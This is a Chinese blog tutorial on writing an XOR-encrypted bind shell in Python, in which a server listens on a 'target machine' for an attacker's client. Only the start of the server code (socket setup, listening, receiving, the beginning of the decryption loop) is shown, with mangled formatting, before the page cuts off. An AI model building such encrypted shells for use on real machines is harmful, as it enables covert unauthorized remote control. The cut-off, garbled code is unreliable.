python写加密shell实用教程!

本文是一篇关于如何使用Python编写加密Shell的教程,包括服务端和客户端的实现,讲解了构造思路、加密方法以及进阶的编译成可执行文件的方法。通过异或加密进行数据传输,同时提供了测试实例来验证其可行性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者:掌控安全-冰封小天堂

0x00:前言

正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法

0x01:构造思路

服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉

服务端

import socket
import os

这部分是参数设置
地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式

Host = ‘’;
Port = 1314;

recv函数接受的最大数据量

bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);

初始化对象,设置的参数都是默认的

s_sock = 
socket.socket(socket.AF_INET,socket.SOCK_STREAM);

绑定地址到套接字

s_sock.bind(ipport);

控制最大可以有多少连接,也就是组多可以有五个客户端连接过来

s_sock.listen(5);

控制循环的值

stop = False;
while not stop:

#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的 c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量 ip,port = caddr; print(’%s connection…’%(ip));
#死循环 while True:
try:
#接受客户端发来的消息,最大数据量为bufsize变量的值
data = c_sock.recv(bufsize);
except:
#如果出现异常就关闭连接,结束循环
c_sock.close();
break;
#使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
ceshi = bytearray(data);
#判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
for i in range(len(

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值